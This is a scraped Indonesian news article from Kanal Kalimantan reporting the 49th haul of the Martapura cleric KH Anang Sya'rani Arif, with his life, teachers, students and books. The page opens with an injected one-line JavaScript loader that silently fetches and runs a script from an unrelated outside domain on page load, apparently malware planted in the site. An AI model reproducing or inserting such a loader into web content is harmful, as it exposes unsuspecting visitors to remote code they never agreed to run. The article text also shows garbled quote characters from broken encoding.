(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Haul Tuan Guru KH Anang Sya’rani Arif ke-49 dihadiri ribuan jemaah dari seluruh penjuru Kalsel hingga luar pulau, di Kampung Melayu, Kecamatan Martapura Timur, Rabu (6/2). Hadir Bupati Banjar KH Khalilurrahman, Wakil Bupati Saidi Mansyur bersama para habaib. Acara yang digelar dengan pembacaan yasin, tahlil, kalam Ilahi, syair maulid dan pembacaan manaqib tuan guru KH Anang Sya’rani Arif.
Bupati Banjar KH Kahalilurrahman mengatakan, peringatan haul ini sebagai bentuk penghargaan kepada beliau atas jasa-jasa dan ilmu yang diajarkan beliau.
“Semoga dengan kita berhadir di acara haul ini, kita semua mendapat berkah dari Allah SWT,†ujar Bupati Banjar.
Guru H Itqon, salah satu cucu tuan guru Anang Sya’rani Arif membacakan riwayat singkat (manaqib) sang kakek. “Al Muhaddist semasa hidup beliau sangat pengasih dan sangat tegas kepada anak-anaknya, terutama dalam syariat Islam,†ujar Guru Itqon.
KH Anang Sya’rani bin KH Muhammad Arif lahir di Kampung Melayu, Martapura, tahun 1914, wafat 17 Juni 1969 saat berumur 55 tahun. Beliau adalah seorang ulama besar dari Martapura, Kalsel. Beliau juga merupakan pengasuh dan pemimpin Pondok Pesantren Darussalam, Martapura. Salah satu guru dari ulama kharismatik Martapura Al ‘Alimul Al Allamah Al Arif Billah Syekh Muhahammad Zaini bin Abdul Ghani atau Guru Sekumpul.
Dalam menuntut ilmu KH Anang Sya’rani bin KH Muhammad Arif dimulai sejak usia dini. Beliau mengaji kepada beberapa ulama yang ada di Martapura, diantaranya kepada paman beliau sendiri Al ‘Alimul Al Allamah Al Arif Billah KH Kasyful Anwar. Dibawah pengawasan tuan guru Kasyful Anwar inilah, beliau bersama sepupu Al ‘Alimul Al Allamah Al Arif Billah KH Syarwani Abdan Bangil banyak mendapatkan ilmu pengetahuan.
Pada tahun 1350 Hijriyah atau 1930 Masehi, beliau dan sang sepupu berangkat ke Tanah Suci Makkah untuk menunaikan ibadah haji, sekaligus menimba ilmu di tempat sumbernya dengan diantar langsung oleh sang paman tuan guru Kasyful Anwar. Setibanya di Makkah, mereka belajar dengan tekun, ibarat istilah “siang bercermin kitab, malam bertongkat pensilâ€Â.
Setelah 22 tahun menimba ilmu di Makkah dan sempat menjadi pengajar di Masjidil Haram, tuan guru Anang Sya’rani dan sepupunya pulang ke kampung halaman Martapura, sekitar tahun 1952 Masehi.
Begitu sampai, beliau langsung menerima tongkat estafet kepemimpinan dari guru pembimbing KH Kasyful Anwar. Selain sebagai pemimpin Pondok Pesantren Darussalam periode kelima 1959-1969https://id.wikipedia.org/wiki/Anang_Sya%27rani_Arif_al-Banjari – cite_note-:0-1, beliau juga mengadakan pengajian khusus guru-guru di kediamannya Kampung Melayu.
Tuan Guru Anang Sya’rani Arif dikenal sebagai seorang ulama yang tak kenal lelah dalam mengajar, sekalipun dalam keadaan sakit, beliau mengajar dengan berbaring. Beliau juga dikenal sebagai ulama yang sangat gesit dalam memecahkan masalah, sehingga apabila ada guru-guru yang menemui masalah yang sulit, maka kepadanyalah mereka pergi untuk mencari jalan keluar atau pemecahannya. Beliau juga sangat mencintai ilmu dan para penuntut ilmu, sehingga sampai akhir hayatnya ia masih aktif dan tetap mengajar.
Sebelum beliau wafat, berwasiat dan menunjuk KH Muhammad Salim Ma’ruf sebagai gantinya menjadi pimpinan Ponpes Darussalam sepeninggalnya. Akhirnya pada tanggal 14 Jumadil Awwal (1969 M), beliau berpulang ke Rahmatullah membawa amal bakti yang tiada terhingga. “Jasad beiau dimakamkan di Kampung Melayu Tengah, Martapura, Kalimantan Selatan,†ungkap Guru Itqon. (rendy)
Di antara guru guru yang banyak memberikan pelajaran kepada Tuan Guru Anang Sya’rani adalah:
Al ‘Alim al Allamah as Sayyid Amin al-Kutbi
Al ‘Alim al Allamah Syeikh Umar Hamdan
Al ‘Alim al Allamah Syeikh Ali bin Abdullah al-Banjari
Al ‘Alim al Allamah Syeikh Bakri Syatha
Al ‘Alim al Allamah Syeikh Muhammad Ali bin Huseinal Maliki
Al ‘Alim al Allamah Syeikh Ahyad al Bughuri
Di antara murid murid beliau adalah :
KH Mahfuzh Amin (Abah Pengasuh Pondok Pesantren Ibnul Amin Pemangkih)
Abah Guru Syekh Muhammad Zaini bin Abdul Ghani al-Banjari
KH Salim Ma’ruf
KH Mukhtar HS (Pengasuh Pondok Pesantren Ibnul Amin Pemangkih)
dan banyak lagi yang lainnya.
Di antara kitab kitab karangan beliau adalah :
Thanwirut Thulab (ilmu yang menguraikan tentang Ushul Hadist)
Hidayatuz Zaman (berisi hadist-hadist tentang akhir zaman)
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
This website uses cookies.